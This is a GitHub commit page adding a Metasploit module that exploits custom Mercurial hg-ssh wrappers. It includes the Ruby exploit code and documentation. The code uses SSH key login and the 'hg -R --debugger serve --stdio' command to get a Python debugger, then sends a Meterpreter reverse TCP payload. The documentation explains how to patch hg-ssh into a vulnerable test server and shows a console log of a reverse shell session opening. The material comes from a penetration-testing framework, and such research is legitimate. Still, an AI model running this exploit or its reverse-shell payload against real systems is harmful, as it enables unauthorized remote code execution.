Skip to content

Commit bbee7f8

Browse files
committed
Land rapid7#8263, Mercurial SSH exec module
2 parents a524dba + f608071 commit bbee7f8

File tree

2 files changed

+184
-0
lines changed

2 files changed

+184
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Vulnerable Application
2+
3+
[mercurial](https://www.mercurial-scm.org/downloads).
4+
5+
This module was successfully tested against:
6+
7+
- Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation)
8+
9+
## Vulnerable Server Setup Steps
10+
11+
1. Install mercurial on your test server
12+
2. Patch the hg-ssh Python script script to emulate custom/weak repo validation in hg-ssh wrapper `vi $(which hg-ssh)`
13+
- Replace `if repo in allowed paths:` with `if True:`
14+
- Replace `cmd = ['-R', repo, 'serve', 'stdio']` with `cmd = ['-R', path, 'serve', 'stdio']`
15+
3. Setup a user with SSH pubkey auth
16+
4. Create a test repo in the users home directory and add a commit
17+
- `mkdir -p repos/repo1`
18+
- `cd repos/repo1`
19+
- `echo "hello world" > README`
20+
- `hg add README`
21+
- `hg commit -m "Adds README"`
22+
5. Restrict user in authorized_keys to hg-ssh binary only
23+
- `command="hg-ssh ~/repos/repo1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding INSERT_SSH_PUB_KEY`
24+
6. Verify SSH user can authenticate (should prompt and prevent a shell)
25+
26+
7. Verify SSH user commands are not allows (should prevent arbitrary commands)
27+
- `ssh [email protected] ifconfig`
28+
29+
## Verification Steps
30+
31+
1. Start msfconsole
32+
2. Do: `use exploit/linux/ssh/mercurial_ssh_exec`
33+
3. Do: `set RHOST <ip>`
34+
4. Do: `set LHOST <ip>`
35+
5. Do: `set SSH_PRIV_KEY_FILE /Users/jsmith/.ssh/id_rsa`
36+
6. Do: `exploit`
37+
7. You should get a shell.
38+
39+
## Scenarios
40+
41+
### Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation)
42+
43+
```
44+
msf exploit(mercurial_ssh_exec) > exploit
45+
46+
[*] Started reverse TCP handler on 192.168.10.37:4444
47+
[*] 192.168.10.99:22 - 192.168.10.99:22 - Attempting to login...
48+
[+] 192.168.10.99:22 - SSH connection is established.
49+
[+] 192.168.10.99:22 - Triggered Debugger (entering debugger - type c to continue starting hg or h for help)
50+
[*] Sending stage (39842 bytes) to 192.168.10.99
51+
[*] Meterpreter session 1 opened (192.168.10.37:4444 -> 192.168.10.99:57606) at 2017-04-18 19:16:44 -0400
52+
```
53+
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::SSH
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "Mercurial Custom hg-ssh Wrapper Remote Code Exec",
14+
'Description' => %q{
15+
This module takes advantage of custom hg-ssh wrapper implementations that don't
16+
adequately validate parameters passed to the hg binary, allowing users to trigger a
17+
Python Debugger session, which allows arbitrary Python code execution.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'claudijd',
23+
],
24+
'References' =>
25+
[
26+
['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'Payload' => 'python/meterpreter/reverse_tcp',
31+
},
32+
'Platform' => ['python'],
33+
'Arch' => ARCH_PYTHON,
34+
'Targets' => [ ['Automatic', {}] ],
35+
'Privileged' => false,
36+
'DisclosureDate' => "Apr 18 2017",
37+
'DefaultTarget' => 0
38+
))
39+
40+
register_options(
41+
[
42+
Opt::RHOST(),
43+
Opt::RPORT(22),
44+
OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
45+
OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),
46+
]
47+
)
48+
49+
register_advanced_options(
50+
[
51+
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
52+
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
53+
]
54+
)
55+
end
56+
57+
def rhost
58+
datastore['RHOST']
59+
end
60+
61+
def rport
62+
datastore['RPORT']
63+
end
64+
65+
def username
66+
datastore['USERNAME']
67+
end
68+
69+
def ssh_priv_key
70+
File.read(datastore['SSH_PRIV_KEY_FILE'])
71+
end
72+
73+
def exploit
74+
factory = ssh_socket_factory
75+
ssh_options = {
76+
auth_methods: ['publickey'],
77+
config: false,
78+
use_agent: false,
79+
key_data: [ ssh_priv_key ],
80+
port: rport,
81+
proxy: factory,
82+
non_interactive: true
83+
}
84+
85+
ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
86+
87+
print_status("#{rhost}:#{rport} - Attempting to login...")
88+
89+
begin
90+
ssh = nil
91+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
92+
ssh = Net::SSH.start(rhost, username, ssh_options)
93+
end
94+
rescue Rex::ConnectionError
95+
return
96+
rescue Net::SSH::Disconnect, ::EOFError
97+
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
98+
return
99+
rescue ::Timeout::Error
100+
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
101+
return
102+
rescue Net::SSH::AuthenticationFailed
103+
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
104+
rescue Net::SSH::Exception => e
105+
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
106+
return
107+
end
108+
109+
if ssh
110+
print_good("SSH connection is established.")
111+
ssh.open_channel do |ch|
112+
ch.exec "hg -R --debugger serve --stdio" do |ch, success|
113+
ch.on_extended_data do |ch, type, data|
114+
if data.match(/entering debugger/)
115+
print_good("Triggered Debugger (#{data})")
116+
ch.send_data "#{payload.encoded}\n"
117+
else
118+
print_bad("Unable to trigger debugger (#{data})")
119+
end
120+
end
121+
end
122+
end
123+
124+
begin
125+
ssh.loop unless session_created?
126+
rescue Errno::EBADF => e
127+
elog(e.message)
128+
end
129+
end
130+
end
131+
end

0 commit comments

Comments
 (0)